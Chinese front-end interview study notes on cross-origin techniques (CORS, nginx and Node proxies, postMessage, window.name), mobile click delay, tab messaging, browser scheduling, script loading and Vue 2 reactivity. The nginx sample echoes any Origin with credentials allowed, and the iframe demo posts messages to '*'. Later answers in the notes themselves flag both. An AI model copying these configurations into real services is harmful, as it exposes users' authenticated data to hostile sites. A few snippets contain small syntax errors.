CORS (Cross-Origin Resource Sharing,跨域资源共享) 是目前最为广泛的解决跨域问题的方案。方案依赖服务端/后端在响应头中添加 Access-Control-Allow-* 头,告知浏览器端通过此请求

涉及到的端

CORS 只需要服务端/后端支持即可,不涉及前端改动

  • CORS需要浏览器和后端同时支持。IE 8 和 9 需要通过 XDomainRequest 来实现。
  • 浏览器会自动进行 CORS 通信,实现CORS通信的关键是后端。只要后端实现了 CORS,就实现了跨域。
  • 服务端设置 Access-Control-Allow-Origin 就可以开启 CORS。 该属性表示哪些域名可以访问资源,如果设置通配符则表示所有网站都可以访问资源。

CORS 实现起来非常方便,只需要增加一些 HTTP 头,让服务器能声明允许的访问来源

只要后端实现了 CORS,就实现了跨域

以 koa框架举例

添加中间件,直接设置Access-Control-Allow-Origin请求头

app.use(async (ctx, next)=> {
  ctx.set('Access-Control-Allow-Origin', '*');
  ctx.set('Access-Control-Allow-Headers', 'Content-Type, Content-Length, Authorization, Accept, X-Requested-With , yourHeaderFeild');
  ctx.set('Access-Control-Allow-Methods', 'PUT, POST, GET, DELETE, OPTIONS');
  if (ctx.method == 'OPTIONS') {
    ctx.body = 200; 
  } else {
    await next();
  }
})

具体实现方式

CORS 将请求分为简单请求(Simple Requests)和需预检请求(Preflighted requests),不同场景有不同的行为

  • 简单请求:不会触发预检请求的称为简单请求。当请求满足以下条件时就是一个简单请求:
    • 请求方法:GET、HEAD、POST。
    • 请求头:Accept、Accept-Language、Content-Language、Content-Type。
      • Content-Type 仅支持:application/x-www-form-urlencoded、multipart/form-data、text/plain
  • 需预检请求:当一个请求不满足以上简单请求的条件时,浏览器会自动向服务端发送一个 OPTIONS 请求,通过服务端返回的Access-Control-Allow-* 判定请求是否被允许

CORS 引入了以下几个以 Access-Control-Allow-* 开头:

  • Access-Control-Allow-Origin 表示允许的来源
  • Access-Control-Allow-Methods 表示允许的请求方法
  • Access-Control-Allow-Headers 表示允许的请求头
  • Access-Control-Allow-Credentials 表示允许携带认证信息

当请求符合响应头的这些条件时,浏览器才会发送并响应正式的请求

4.3 nginx反向代理

反向代理只需要服务端/后端支持,几乎不涉及前端改动,只用切换接口即可

nginx 配置跨域,可以为全局配置和单个代理配置(两者不能同时配置)

  1. 全局配置,在nginx.conf文件中的 http 节点加入跨域信息
http {
  # 跨域配置
  add_header 'Access-Control-Allow-Origin' '$http_origin' ;
  add_header 'Access-Control-Allow-Credentials' 'true' ;
  add_header 'Access-Control-Allow-Methods' 'PUT,POST,GET,DELETE,OPTIONS' ;
  add_header 'Access-Control-Allow-Headers' 'Content-Type,Content-Length,Authorization,Accept,X-Requested-With' ;
}
  1. 局部配置(单个代理配置跨域), 在路径匹配符中加入跨域信息
server {
  listen       8080;
  server_name  server_name;

  charset utf-8;

  location / {
    # 这里配置单个代理跨域,跨域配置
    add_header 'Access-Control-Allow-Origin' '$http_origin' ;
    add_header 'Access-Control-Allow-Credentials' 'true' ;
    add_header 'Access-Control-Allow-Methods' 'PUT,POST,GET,DELETE,OPTIONS' ;
    add_header 'Access-Control-Allow-Headers' 'Content-Type,Content-Length,Authorization,Accept,X-Requested-With' ;

    #配置代理 代理到本机服务端口
    proxy_pass http://127.0.0.1:9000;
    proxy_redirect   off;
    proxy_set_header Host $host:$server_port;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  }
}

4.4 Node 中间层接口转发

const router = require('koa-router')()
const rp = require('request-promise');

// 通过node中间层转发实现接口跨域
router.post('/github', async (ctx, next) => {
  let {category = 'trending',lang = 'javascript',limit,offset,period} = ctx.request.body 
  lang = lang || 'javascript'
  limit = limit || 30
  offset = offset || 0
  period = period || 'week'
  let res =  await rp({
    method: 'POST',
    // 跨域的接口
    uri: `https://e.juejin.cn/resources/github`,
    body: {
      category,
      lang,
      limit,
      offset,
      period
    },
    json: true
  })
  
  ctx.body = res
})

module.exports = router

4.5 Proxy

如果是通过vue-cli脚手架工具搭建项目,我们可以通过webpack为我们起一个本地服务器作为请求的代理对象

通过该服务器转发请求至目标服务器,得到结果再转发给前端,但是最终发布上线时如果web应用和接口服务器不在一起仍会跨域

在vue.config.js文件,新增以下代码

module.exports = {
  devServer: {
    host: '127.0.0.1',
    port: 8080,
    open: true,// vue项目启动时自动打开浏览器
    proxy: {
      '/api': { // '/api'是代理标识,用于告诉node,url前面是/api的就是使用代理的
        target: "http://xxx.xxx.xx.xx:8080", //目标地址,一般是指后台服务器地址
        changeOrigin: true, //是否跨域
        pathRewrite: { // pathRewrite 的作用是把实际Request Url中的'/api'用""代替
          '^/api': "" 
        }
      }
    }
  }
}

通过axios发送请求中,配置请求的根路径

axios.defaults.baseURL = '/api'

此外,还可通过服务端实现代理请求转发,以express框架为例

var express = require('express');
const proxy = require('http-proxy-middleware')
const app = express()
app.use(express.static(__dirname + '/'))
app.use('/api', proxy({ target: 'http://localhost:4000', changeOrigin: false
                      }));
module.exports = app

4.6 websocket

webSocket本身不存在跨域问题,所以我们可以利用webSocket来进行非同源之间的通信

原理:利用webSocket的API,可以直接new一个socket实例,然后通过open方法内send要传输到后台的值,也可以利用message方法接收后台传来的数据。后台是通过new WebSocket.Server({port:3000})实例,利用message接收数据,利用send向客户端发送数据。具体看以下代码:

function socketConnect(url) {
    // 客户端与服务器进行连接
    let ws = new WebSocket(url); // 返回`WebSocket`对象,赋值给变量ws
    // 连接成功回调
    ws.onopen = e => {
      console.log('连接成功', e)
      ws.send('我发送消息给服务端'); // 客户端与服务器端通信
    }
    // 监听服务器端返回的信息
    ws.onmessage = e => {
      console.log('服务器端返回:', e.data)
      // do something
    }
    return ws; // 返回websocket对象
}
let wsValue = socketConnect('ws://121.40.165.18:8800'); // websocket对象

4.7 document.domain(不常用)

  • 该方式只能用于二级域名相同的情况下,比如 a.test.com 和 b.test.com 适用于该方式。
  • 只需要给页面添加 document.domain = 'test.com' 表示二级域名都相同就可以实现跨域
  • 自 Chrome 101 版本开始,document.domain 将变为可读属性,也就是意味着上述这种跨域的方式被禁用了

4.8 postMessage(不常用)

在两个 origin 下分别部署一套页面 A 与 B,A 页面通过 iframe 加载 B 页面并监听消息,B 页面发送消息

这种方式通常用于获取嵌入页面中的第三方页面数据。一个页面发送消息,另一个页面判断来源并接收消息

// 发送消息端
window.parent.postMessage('message', 'http://test.com');
// 接收消息端
var mc = new MessageChannel();
mc.addEventListener('message', (event) => {
    var origin = event.origin || event.originalEvent.origin;
    if (origin === 'http://test.com') {
        console.log('验证通过')
    }
});

4.9 window.name(不常用)

主要是利用 window.name 页面跳转不改变的特性实现跨域,即 iframe 加载一个跨域页面,设置 window.name,跳转到同域页面,可以通过 $('iframe').contentWindow.name 拿到跨域页面的数据

实例说明

比如有一个www.example.com/a.html页面。需要通过a.html页面里的js来获取另一个位于不同域上的页面www.test.com/data.html中的数据。

data.html页面中设置一个window.name即可,代码如下

<script>
  window.name = "我是data.html中设置的a页面想要的数据";
</script>
  • 那么接下来问题来了,我们怎么把data.html页面载入进来呢,显然我们不能直接在a.html页面中通过改变window.location来载入data.html页面(因为我们现在需要实现的是a.html页面不跳转,但是也能够获取到data.html中的数据)
  • 具体的实现其实就是在a.html页面中使用一个隐藏的iframe来充当一个中间角色,由iframe去获取data.html的数据,然后a.html再去得到iframe获取到的数据。
  • 充当中间人的iframe想要获取到data.html中通过window.name设置的数据,只要要把这个iframe的src设置为www.test.com/data.html即可,然后a.html想要得到iframe所获取到的数据,也就是想要得到iframe的widnow.name的值,还必须把这个iframe的src设置成跟a.html页面同一个域才行,不然根据同源策略,a.html是不能访问到iframe中的window.name属性的
<!-- a.html中的代码 -->
<iframe id="proxy" src="http://www.test.com/data.html" style="display: none;" onload = "getData()"> 

<script>
  function getData(){
    var iframe = document.getElementById('proxy);
    iframe.onload = function(){
      var data = iframe.contentWindow.name;
      //上述即为获取iframe里的window.name也就是data.html页面中所设置的数据;
    }
    iframe.src = 'b.html'; //这里的b为随便的一个页面,只有与a.html同源就行,目的让a.html等访问到iframe里的东西,设置成about:blank也行
  }
</script>

上面的代码只是最简单的原理演示代码,你可以对使用js封装上面的过程,比如动态的创建iframe,动态的注册各种事件等等,当然为了安全,获取完数据后,还可以销毁作为代理的iframe

4.10 扩展阅读

跨域与监控

前端项目在统计前端报错监控时会遇到上报的内容只有 Script Error 的问题。这个问题也是由同源策略引起。在 <script> 标签上添加 crossorigin="anonymous" 并且返回的 JS 文件响应头加上 Access-Control-Allow-Origin: * 即可捕捉到完整的错误堆栈

跨域与图片

前端项目在图片处理时可能会遇到图片绘制到 Canvas 上之后却不能读取像素或导出 base64 的问题。这个问题也是由同源策略引起。解决方式和上文相同,给图片添加 crossorigin="anonymous" 并在返回的图片文件响应头加上 Access-Control-Allow-Origin: * 即可解决

💬 面试官追问

  • 前端从 https://shop.example.com 请求 https://api.example.com 报跨域,但用 curl 能正常拿到数据,后端据此认定接口没问题,你会怎么解释并验证?

    这是浏览器同源策略在限制脚本读取响应,curl 不受该策略约束,因此成功不能证明浏览器可访问。检查协议、域名和端口是否同源,再在开发者工具中查看响应头及 OPTIONS;若缺少匹配的 Access-Control-Allow-*,应由服务端修正。

  • 登录接口使用 POST application/json 并携带 Authorization,浏览器先发 OPTIONS,网关却把它按未登录请求拦成 401,你会怎样落地修复?

    该请求不满足简单请求条件,浏览器会先用 OPTIONS 预检方法和请求头是否获准。网关应放行并正确响应预检,声明允许的来源、POST 和 Authorization;不能只给正式响应补头,否则正式请求根本不会发出。

  • 业务要求跨域请求携带认证信息,同时安全同学又把 Access-Control-Allow-Origin 配成 *,这组配置该如何调整?

    需要携带认证信息时,应返回经过白名单校验的具体来源,并设置 Access-Control-Allow-Credentials,不能把任意来源和认证能力组合开放。若按请求中的 Origin 动态回写,必须先校验白名单,否则会把受保护资源暴露给恶意站点。

  • 测试环境通过 vue-cli 的 /api 代理一切正常,发布后页面直接请求另一域名却全部失败,你会先查构建产物还是接口服务?

    先确认生产请求地址,因为开发服务器代理只在本地把 /api 转发到目标服务,上线后不会自动存在。生产环境应配置 nginx 或 Node 中间层转发,或者让接口正确支持 CORS;仅保留 axios.defaults.baseURL='/api' 不能替代线上代理。

  • 老系统要读取第三方公开数据,团队在 JSONP、CORS 和服务端反向代理之间争论,你会依据哪些约束选型?

    普通接口优先采用服务端支持的 CORS;若希望浏览器保持同源路径,可由 nginx 或 Node 中间层代理。JSONP 只适合可接受脚本执行风险的只读 GET 场景,并且要求前后端约定回调,不能承载 POST 或通用认证接口。

  • 监控平台只能收到跨域脚本的 Script Error,同一 CDN 图片绘入 Canvas 后也无法导出,两类现象为什么会一起出现?

    两者都受同源策略影响:浏览器既会隐藏跨域脚本的完整错误信息,也会污染包含未授权跨域图片的 Canvas。资源标签需设置 crossorigin="anonymous",CDN 同时返回允许来源的 Access-Control-Allow-Origin;只改页面属性或只改响应头都可能不完整。

# 移动端H5点击有300ms延迟,该如何解决

⚡ 30 秒速记

  • 禁用缩放,设置meta标签 user-scalable=no

现代移动端页面通常在 viewport 中设置 width=device-width,即可消除点击的 300ms 延迟。 这段延迟源于浏览器需要等待判断用户是否进行双击缩放,禁用缩放的 user-scalable=no 也能处理,但会限制用户缩放。旧环境可以使用 FastClick,它监听先于 click 触发的 touchend,模拟点击并阻止延迟后的原生 click。因此新项目优先正确配置 viewport,只有兼容旧浏览器时再引入 FastClick。

解决方案

  • 禁用缩放,设置meta标签 user-scalable=no
  • 现在浏览器方案 meta中设置content="width=device-width"
  • fastclick.js

初期解决方案 fastClick

// 使用
window.addEventListener('load',()=>{
  FastClick.attach(document.body)
},false)

fastClick原理

  • 监听touchend事件(touchstart touchend会先于click触发)
  • 使用自定义DOM事件模拟一个click事件
  • 把默认的click事件(300ms之后触发)禁止掉

触摸事件的响应顺序

  • ontouchstart
  • ontouchmove
  • ontouchend
  • onclick

现代浏览器的改进

meta中设置content="width=device-width" 就不会有300ms的点击延迟了。浏览器认为你要在移动端做响应式布局,所以就禁止掉了

<head>
  <meta name="viewport" content="width=device-width,initial-scale=1.0" />
</head>

💬 面试官追问

  • 一个旧版活动页的按钮总在手指离开后才触发,产品认定是接口慢,但日志显示请求发出前就停顿约一拍,你会怎样区分点击延迟和网络延迟?

    先在 touchstart、touchend、click 和请求发送处记录时间,若停顿发生在 touchend 到 click 之间,就是浏览器点击判定而非接口耗时。触摸事件通常先于 click,不要用延长请求超时掩盖交互层延迟。

  • 新做的响应式 H5 在现代移动浏览器仍沿用 FastClick,而页面已经设置 <meta name="viewport" content="width=device-width,initial-scale=1.0">,你会保留这个依赖吗?

    应先在目标浏览器实测,正确设置 width=device-width 后,现代浏览器通常已不再需要用 FastClick 消除该延迟。无兼容性证据时可移除额外模拟层,避免原生 click 与合成事件叠加;旧环境仍有问题再按支持范围保留。

  • 运营要求既消除按钮点击延迟,又不能破坏用户双指缩放页面的能力,user-scalable=no 和 FastClick 该怎么选?

    不应仅为消除延迟而禁用缩放,因为 user-scalable=no 会改变页面缩放能力。优先采用响应式视口配置并验证现代浏览器行为;只有明确覆盖仍存在延迟的旧环境时才评估 FastClick,同时测试事件冲突。

  • 接入 FastClick 后某按钮偶发执行两次,埋点里一次紧跟 touchend、另一次来自原生 click,你会从哪里排查?

    先检查 FastClick.attach(document.body) 是否重复执行,以及模拟事件后是否确实阻止了延迟到来的默认 click。再核对业务是否同时绑定 touchend 和 click;多套处理链并存会重复触发,修复时应统一入口并回归滚动和拖动场景。

  • 团队提出把所有按钮事件都从 click 改成 touchend,以替代视口配置和 FastClick,你会接受吗?

    不宜全量替换,因为 touchend 只是触摸序列的一部分,直接执行业务还要区分滑动、取消等手势,并会改变非触摸输入的行为。视口配置是现代页面的优先方案;兼容旧浏览器时再使用能模拟并抑制原生 click 的方案。

# 如何实现网页多标签tab通讯

⚡ 30 秒速记

  • 通过websocket

同域多标签页通信优先用 localStorage 的 storage 事件,也可以选择 SharedWorker 或 WebSocket。 一个页面调用 localStorage.setItem 后,其他同域页面能监听到变化,实现成本最低,但它不能跨域共享。SharedWorker 可以维护独立进程并向多个同域页面广播,不过兼容性和调试体验较差,IE11 也不支持。需要跨域或依赖服务端实时通信时可用 WebSocket;如果是页面与 iframe 通信,则用 postMessage 并校验消息来源。

  • 通过websocket
    • 无跨域限制
    • 需要服务端支持,成本高
  • 通过localStorage同域通讯(推荐)
    • 同域的A和B两个页面
    • A页面设置localStorage
    • B页面可监听到localStorage值的修改
  • 通过SharedWorker通讯
    • SharedWorker是WebWorker的一种
    • WebWorker可开启子进程执行JS,但不能操作DOM
    • SharedWorker可单独开启一个进程,用于同域页面通讯
    • SharedWorker兼容性不太好,调试不方便,IE11不支持

localStorage通讯例子

<!-- 列表页 -->
<p>localStorage message - list page</p>

<script>
  // 监听storage事件
  window.addEventListener('storage', event => {
    console.info('key', event.key)
    console.info('value', event.newValue)
  })
</script>
<!-- 详情页 -->
<p>localStorage message - detail page</p>

<button id="btn1">修改标题</button>

<script>
  const btn1 = document.getElementById('btn1')
  btn1.addEventListener('click', () => {
    const newInfo = {
      id: 100,
      name: '标题' + Date.now()
    }
    localStorage.setItem('changeInfo', JSON.stringify(newInfo))
  })

  // localStorage 跨域不共享
</script>

SharedWorker通讯例子

本地调试的时候打开chrome隐私模式验证,如果没有收到消息,打开chrome://inspect/#workers => sharedWorkers => 点击inspect

<p>SharedWorker message - list page</p>

<script>
  const worker = new SharedWorker('./worker.js')
  worker.port.onmessage = e => console.info('list', e.data)
</script>
<p>SharedWorker message - detail page</p>
<button id="btn1">修改标题</button>

<script>
  const worker = new SharedWorker('./worker.js')

  const btn1 = document.getElementById('btn1')
  btn1.addEventListener('click', () => {
    console.log('clicked')
    worker.port.postMessage('detail go...')
  })
</script>
// worker.js

/**
 * @description for SharedWorker
 */

const set = new Set()

onconnect = event => {
  const port = event.ports[0]
  set.add(port)

  // 接收信息
  port.onmessage = e => {
    // 广播消息
    set.forEach(p => {
      if (p === port) return // 不给自己广播
      p.postMessage(e.data)
    })
  }

  // 发送信息
  port.postMessage('worker.js done')
}

连环问:如何实现网页和iframe之间的通讯

  • 使用postMessage通信
  • 注意跨域的限制和判断,判断域名的合法性

演示

<!-- 首页 -->
<p>
  index page
  <button id="btn1">发送消息</button>
</p>

<iframe id="iframe1" src="./child.html"></iframe>

<script>
  document.getElementById('btn1').addEventListener('click', () => {
    console.info('index clicked')
    window.iframe1.contentWindow.postMessage('hello', '*') // * 没有域名限制
  })

  // 接收child的消息
  window.addEventListener('message', event => {
    console.info('origin', event.origin) // 来源的域名
    console.info('index received', event.data)
  })
</script>
<!-- 子页面 -->
<p>
  child page
  <button id="btn1">发送消息</button>
</p>

<script>
  document.getElementById('btn1').addEventListener('click', () => {
    console.info('child clicked')
    // child被嵌入到index页面,获取child的父页面
    window.parent.postMessage('world', '*') // * 没有域名限制
  })

  // 接收parent的消息
  window.addEventListener('message', event => {
    console.info('origin', event.origin) // 判断 origin 的合法性
    console.info('child received', event.data)
  })
</script>

效果

💬 面试官追问

  • 同域后台的列表页监听 storage,详情页执行 localStorage.setItem 后列表能收到消息,但详情页自己的监听器没有触发,开发者认为代码失效,你会怎么判断?

    这是 storage 通讯的正常边界:变更会通知同域的其他页面,而写入值的当前页面不依赖该事件收到自身广播。发送页若也要更新,应直接执行本地状态逻辑;同时注意 localStorage 跨域不共享,不能据此连接不同来源。

  • 十几个同域管理后台标签页需要在详情保存后刷新对应列表,你会如何设计基于 localStorage 的消息,而不是只写一个固定字符串?

    可写入包含业务类型、记录标识和变化内容的 JSON,让其他标签在 storage 事件中依据 event.key 与 event.newValue 精确处理。若相同内容可能连续发送,可附带时间或消息标识促成值变化;它适合轻量通知,不应当作可靠消息队列。

  • 安全团队把两个子系统拆到不同域名,但产品仍要求标签页实时同步登录状态,原有 localStorage 方案还能继续吗?

    不能直接继续,因为 localStorage 只在同源页面间共享,域名变化会切断该通道。可由服务端通过 WebSocket 协调,或在受控的嵌入页面间使用 postMessage;后者必须限定目标来源并校验 event.origin。

  • 采用 SharedWorker 广播后,部分浏览器完全收不到消息,Chrome 隐私窗口里也难复现,你会按什么顺序定位?

    先确认目标浏览器是否支持 SharedWorker,并检查各页面是否同源、是否加载了同一 worker.js。随后到 chrome://inspect/#workers 检查共享 Worker、端口连接和 onmessage;该方案兼容性与调试成本较高,覆盖不足时应准备替代通道。

  • 一个只需同域标签页同步筛选条件的后台,架构师坚持上 WebSocket,前端希望用 localStorage,你会怎样裁决?

    仅需同域、低频通知时,localStorage 加 storage 事件实现简单且不依赖服务端,通常更匹配成本。若要求跨域、服务端主动推送或持续双向通信,才更适合 WebSocket;后者没有浏览器跨域限制,但需要服务端维护连接。

  • 父页面用 iframe 嵌入合作方页面,双方都以 postMessage(message, '*') 发送订单信息,功能虽通了,代码评审时你会要求改什么?

    发送端应把 * 换成明确的目标源,接收端必须校验 event.origin,必要时还要确认消息来源窗口和数据结构。postMessage 能跨源通信不等于自动可信;不做来源约束会让恶意页面伪造或截获业务消息。

# requestIdleCallback和requestAnimationFrame有什么区别

⚡ 30 秒速记

  • 由react fiber引起的关注

requestAnimationFrame 会在每次渲染完成后执行,优先级较高;requestIdleCallback 只在浏览器空闲时执行,优先级较低。 两者都属于宏任务,需要等待 DOM 渲染完成,但调度时机和适用任务不同。动画这类需要跟随渲染节奏的工作适合前者,React Fiber 这类可暂停、可分段的低优先级工作则会关注后者。由于 JS 与 DOM 渲染不能同时进行,耗时任务仍然需要主动拆分。

由react fiber引起的关注

  • 组件树转为链表,可分段渲染
  • 渲染时可以暂停,去执行其他高优先级任务,空闲时在继续渲染(JS是单线程的,JS执行的时候没法去DOM渲染)
  • 如何判断空闲?requestIdleCallback

区别

  • requestAnimationFrame 每次渲染完在执行,高优先级
  • requestIdleCallback 空闲时才执行,低优先级
  • 都是宏任务,要等待DOM渲染完后在执行

<p>requestAnimationFrame</p>

<button id="btn1">change</button>
<div id="box"></div>

<script>
  const box = document.getElementById('box')
  
  document.getElementById('btn1').addEventListener('click', () => {
  let curWidth = 100
  const maxWidth = 400

  function addWidth() {
    curWidth = curWidth + 3
    box.style.width = `${curWidth}px`
    if (curWidth < maxWidth) {
        window.requestAnimationFrame(addWidth) // 时间不用自己控制
    }
  }
  addWidth()
})
</script>
window.onload = () => {
  console.info('start')
  setTimeout(() => {
    console.info('timeout')
  })
  // 空闲时间才执行
  window.requestIdleCallback(() => {
    console.info('requestIdleCallback')
  })
  window.requestAnimationFrame(() => {
    console.info('requestAnimationFrame')
  })
  console.info('end')
}

// start
// end
// timeout
// requestAnimationFrame
// requestIdleCallback

💬 面试官追问

  • 动画面板每次把宽度增加 3px,开发者却用 requestIdleCallback 调度下一步,页面忙时动画明显停住;你会换成什么并说明原因?

    应改用 requestAnimationFrame,让每次样式更新跟随浏览器的渲染节奏执行,它适合可见动画这类高优先级工作。requestIdleCallback 只在空闲时运行,主线程持续繁忙时可能迟迟没有机会,不适合保证动画连续性。

  • 一个大组件树准备分段处理,每段都可能占用主线程,页面还要及时响应输入;你会怎样利用 requestIdleCallback 控制任务?

    可把组件树工作拆成可暂停的小段,在空闲回调中执行一段并保存进度,再等待下一次空闲继续。这样符合 Fiber 式可中断思路,但回调内部仍是同步 JavaScript;单段过大仍会阻塞渲染和输入。

  • 数据清洗任务从几百条增长到数万条,团队认为包进一次 requestIdleCallback 就不会卡页面,这个判断哪里有问题?

    requestIdleCallback 只改变开始执行的时机,不会把长任务自动并行化,也不会让回调执行期间主线程继续渲染。应主动切分数据并在多次空闲机会之间让出线程;若每一段仍耗时很长,页面照样会卡顿。

  • 线上日志显示 requestIdleCallback 长时间不执行,但 requestAnimationFrame 仍持续触发,页面同时存在滚动动画和后台统计整理,你会如何排查?

    先检查主线程是否持续被脚本、布局和渲染占用,因为动画帧具有更高优先级,而空闲任务只有剩余时间才会运行。统计整理应允许延期并继续拆分;若它有明确完成时限,就不能只依赖不可预测的空闲机会。

  • 代码评审中,一方主张所有延后任务都用 requestAnimationFrame,另一方主张统一用 requestIdleCallback,你会按什么边界拆分?

    与下一次视觉更新直接相关的样式计算和动画使用 requestAnimationFrame,低优先级且可推迟的后台工作使用 requestIdleCallback。两者都不能消除同步任务的执行成本;任务是否影响画面、是否允许饿死,才是选型依据。

# script标签的defer和async有什么区别

⚡ 30 秒速记

  • script:HTML暂停解析,下载JS,执行JS,在继续解析HTML

defer 和 async 都会并行下载脚本,区别是前者等 HTML 解析完成再执行,后者下载完成后立即执行。 普通 script 会暂停 HTML 解析,依次完成脚本下载和执行后才继续解析页面。多个 defer 脚本适合存在先后依赖的场景,而 async 脚本可能乱序执行,不适合相互依赖。因为脚本执行和 HTML 解析互斥,所以这里只是资源下载可以并行。

  • script:HTML暂停解析,下载JS,执行JS,在继续解析HTML。
  • defer:HTML继续解析,并行下载JS,HTML解析完在执行JS(不用把script放到body后面,我们在head中<script defer>让js脚本并行加载会好点)
  • async:HTML继续解析,并行下载JS,执行JS(加载完毕后立即执行),在继续解析HTML
    • 加载完毕后立即执行,这导致async属性下的脚本是乱序的,对于 script 有先后依赖关系的情况,并不适用

注意:JS是单线程的,JS解析线程和DOM解析线程共用同一个线程,JS执行和HTML解析是互斥的,加载资源可以并行

蓝色线代表网络读取,红色线代表执行时间,这俩都是针对脚本的;绿色线代表 HTML 解析

连环问:prefetch和dns-prefetch分别是什么

preload和prefetch

  • preload 资源在当前页面使用,会优先加载
  • prefetch 资源在未来页面使用,空闲时加载
<head>
  <!-- 当前页面使用 -->
  <link rel="preload" href="style.css" as="style" />
  <link rel="preload" href="main.js" as="script" />

  <!-- 未来页面使用 提前加载 比如新闻详情页 -->
  <link rel="prefetch" href="other.js" as="script" />

  <!-- 当前页面 引用css -->
  <link rel="stylesheet" href="style.css" />
</head>
<body>
  <!-- 当前页面 引用js -->
  <script src="main.js" defer></script>
</body>

dns-preftch和preconnect

  • dns-pretch DNS预查询
  • preconnect DNS预连接

通过预查询和预连接减少DNS解析时间

<head>
  <!-- 针对未来页面提前解析:提高打开速度 -->
  <link rel="dns-pretch" href="https://font.static.com" />
  <link rel="preconnect" href="https://font.static.com" crossorigin />
</head>

💬 面试官追问

  • 页面在 head 中连续放了 vendor.js 和依赖它的 app.js,改成两个 async 后偶发出现 vendor is not defined,为什么网络越快也不能保证修复?

    async 脚本下载完成后立即执行,多个脚本的执行顺序取决于各自何时加载完,不保证维持标签顺序。存在依赖关系时应使用能在 HTML 解析后按顺序执行的 defer,或由模块系统显式管理依赖。

  • 首屏 HTML 很长,团队又把一个初始化脚本放在普通 <script> 中,瀑布图显示解析中途停住;你会怎样调整加载方式?

    普通脚本会暂停 HTML 解析,等待脚本下载并执行完成后才继续。若初始化依赖完整 DOM 且脚本之间有顺序关系,可放在 head 中加 defer,使下载与 HTML 解析并行,并在解析完成后执行。

  • 第三方统计脚本不依赖 DOM,也不被业务脚本依赖,但产品要求尽早上报;defer 与 async 之间你会选哪一个?

    可优先评估 async,因为脚本下载完成即可执行,不必等待 HTML 全部解析,也无需维持与其他脚本的顺序。代价是执行时会与 HTML 解析互斥,因此脚本若实际读取未出现的节点或产生依赖,仍可能失败。

  • 上线后某段 DOM 查询偶发返回空值,脚本带有 async,本地缓存命中时更容易出现;你会如何证明是加载时序而非选择器错误?

    记录脚本执行时刻与目标节点创建时刻,并暂时改为 defer 或在 DOM 解析后执行做对照。async 在下载完成后立即运行,缓存命中会更早打断 HTML 解析;若改后稳定,应修正时序依赖而非反复重试查询。

  • 性能优化评审中,当前页主样式、下一页脚本和字体域名都被建议加 preload,你会如何分别配置?

    当前页确定使用的主样式可用 preload 提高加载优先级,未来页面才可能使用的脚本更适合空闲时 prefetch。字体等外域资源可用 dns-prefetch 提前解析域名,或用 preconnect 提前建立连接;滥用高优先级预加载会与关键资源竞争。

  • 有人把 <link rel="dns-pretch"> 当作提前下载字体,又把 preconnect 当作脚本执行优化,你会怎样纠正这两个认识?

    dns-prefetch 只用于提前进行 DNS 查询,并不下载字体;preconnect 则提前完成到目标源的连接准备,也不会执行脚本。它们减少的是连接建立前的等待,资源是否下载以及脚本何时执行,仍由对应标签和加载策略决定。

# 4 Vue2

# 响应式原理

⚡ 30 秒速记

  • 组件data数据一旦变化,立刻触发视图的更新

响应式的核心是监听数据变化,并在变化发生时触发视图更新。 在这套实现里,普通对象通过 Object.defineProperty 重写属性的读取和设置,嵌套对象则需要递归监听。它无法直接监听属性的新增和删除,通常要借助 Vue.set、Vue.delete;原生数组也需要重写 push、splice 等方法。Proxy 则可以统一拦截属性的读取、设置和删除。

响应式

  • 组件data数据一旦变化,立刻触发视图的更新
  • 实现数据驱动视图的第一步
  • 核心API:Object.defineProperty
    • 缺点
      • 深度监听,需要递归到底,一次计算量大
      • 无法监听新增属性、删除属性(使用Vue.set、Vue.delete可以)
      • 无法监听原生数组,需要重写数组原型
// 触发更新视图
function updateView() {
    console.log('视图更新')
}

// 重新定义数组原型
const oldArrayProperty = Array.prototype
// 创建新对象,原型指向 oldArrayProperty ,再扩展新的方法不会影响原型
const arrProto = Object.create(oldArrayProperty);
['push', 'pop', 'shift', 'unshift', 'splice'].forEach(methodName => {
    arrProto[methodName] = function () {
        updateView() // 触发视图更新
        oldArrayProperty[methodName].call(this, ...arguments)
        // Array.prototype.push.call(this, ...arguments)
    }
})

// 重新定义属性,监听起来
function defineReactive(target, key, value) {
    // 深度监听
    observer(value)

    // 核心 API
    Object.defineProperty(target, key, {
        get() {
            return value
        },
        set(newValue) {
            if (newValue !== value) {
                // 深度监听
                observer(newValue)

                // 设置新值
                // 注意,value 一直在闭包中,此处设置完之后,再 get 时也是会获取最新的值
                value = newValue

                // 触发更新视图
                updateView()
            }
        }
    })
}

// 监听对象属性
function observer(target) {
    if (typeof target !== 'object' || target === null) {
        // 不是对象或数组
        return target
    }

    // 污染全局的 Array 原型
    // Array.prototype.push = function () {
    //     updateView()
    //     ...
    // }

    if (Array.isArray(target)) {
        target.__proto__ = arrProto
    }

    // 重新定义各个属性(for in 也可以遍历数组)
    for (let key in target) {
        defineReactive(target, key, target[key])
    }
}

// 准备数据
const data = {
    name: 'zhangsan',
    age: 20,
    info: {
        address: 'shenzhen' // 需要深度监听
    },
    nums: [10, 20, 30]
}

// 监听数据
observer(data)

// 测试
// data.name = 'lisi'
// data.age = 21
// // console.log('age', data.age)
// data.x = '100' // 新增属性,监听不到 —— 所以有 Vue.set
// delete data.name // 删除属性,监听不到 —— 所有有 Vue.delete
// data.info.address = '上海' // 深度监听
data.nums.push(4) // 监听数组
// proxy-demo

// const data = {
//     name: 'zhangsan',
//     age: 20,
// }
const data = ['a', 'b', 'c']

const proxyData = new Proxy(data, {
    get(target, key, receiver) {
        // 只处理本身(非原型的)属性
        const ownKeys = Reflect.ownKeys(target)
        if (ownKeys.includes(key)) {
            console.log('get', key) // 监听
        }

        const result = Reflect.get(target, key, receiver)
        return result // 返回结果
    },
    set(target, key, val, receiver) {
        // 重复的数据,不处理
        if (val === target[key]) {
            return true
        }

        const result = Reflect.set(target, key, val, receiver)
        console.log('set', key, val)
        // console.log('result', result) // true
        return result // 是否设置成功
    },
    deleteProperty(target, key) {
        const result = Reflect.deleteProperty(target, key)
        console.log('delete property', key)
        // console.log('result', result) // true
        return result // 是否删除成功
    }
})

💬 面试官追问

  • 商品编辑页直接执行 form.extra = 'gift' 后,控制台能读到新值,但 Vue 2 页面仍不显示;同事认为对象已经变了就一定会更新,你怎么解释这个反例?

    这是新增属性没有经过初始化时的 Object.defineProperty 转换,因此没有对应的响应式 setter,对象变化不等于视图会收到通知。应改用 Vue.set(form, 'extra', 'gift'),或在 data 中预先声明;直接新增和直接删除属性都有同类边界。

